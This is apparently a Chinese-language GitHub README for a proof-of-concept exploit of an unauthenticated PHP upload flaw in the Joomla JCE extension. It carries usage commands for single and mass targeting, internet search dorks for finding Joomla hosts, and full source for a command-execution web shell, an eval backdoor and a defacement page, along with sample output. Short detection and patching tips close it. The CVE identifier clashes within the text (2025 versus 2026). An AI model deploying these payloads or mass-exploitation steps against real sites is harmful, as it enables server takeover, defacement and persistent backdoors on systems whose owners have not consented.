
CVE-2025-48907 - Joomla JCE < 2.9.99.5 的未经身份验证的RCE漏洞利用
http.component:"Joomla"
app="Joomla"
此仓库包含 CVE-2026-48907 的 概念验证 (PoC) 利用程序,该漏洞影响 Joomla! JCE (Joomla Content Editor) 扩展 2.9.99.5 之前的版本。该漏洞允许 未认证的攻击者 通过 JCE 配置文件导入功能上传任意 PHP 文件,从而导致 远程代码执行 (RCE)。
此工具仅供教育和授权测试用途。
- 仅在你拥有或获得明确许可的系统上使用
- 作者不对任何滥用或非法行为负责
- 测试前务必获得适当授权
index.php?option=com_jce&task=profiles.import)/tmp/ 目录中,可通过直接访问执行# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Install required dependencies
pip3 install requests urllib3
requests 库urllib3 库python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* 必须提供 -u 或 -f 之一
创建一个每行一个 URL 的 targets.txt 文件:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com
所有载荷必须是 PHP 文件,因为利用程序上传的 PHP 代码将在服务器上执行。
创建 shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
创建 deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
创建 backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/ 目录中是否存在可疑的 PHP 文件index.php?option=com_jce&task=profiles.import 请求/tmp/ 目录中是否存在 .xml.php 扩展名的文件/tmp/ 目录的异常 PHP 执行更新 JCE 扩展:
临时解决方法:
/tmp/ 目录中的 PHP 执行allow_url_fopen入侵后处理:
/tmp/ 目录移除上传的 PHP 文件本项目基于 MIT 许可证 授权 - 详情请参阅 LICENSE 文件。
欢迎贡献!请随时提交 Pull Request。
git checkout -b feature/AmazingFeature)git commit -m '添加一些 AmazingFeature')git push origin feature/AmazingFeature)如果您觉得此工具有用,请考虑在 GitHub 上给予它一个 ⭐!
| 属性 | 值 |
|---|
| CVE ID | CVE-2026-48907 |
| 产品 | Joomla! JCE 扩展 |
| 受影响版本 | < 2.9.99.5 |
| 漏洞类型 | 未认证 PHP 文件上传 → RCE |
| CVSS 分数 | 9.8 (严重) |
| 攻击向量 | 网络 |
| 身份认证 | 无需认证 |
| 影响 | 完全系统沦陷 |
| 参数 | 必填 | 说明 |
|---|
-u, --url | 是* | 单个目标 URL(例如 http://target.com) |
-f, --file | 是* | 包含目标 URL 列表的文件(每行一个) |
-F, --upload-file | 是 | 要上传的 PHP 文件(壳、后门、篡改页面) |
-v, --verbose | 否 | 启用详细输出以便调试 |
-o, --output | 否 | 将成功上传的 URL 保存到文件 |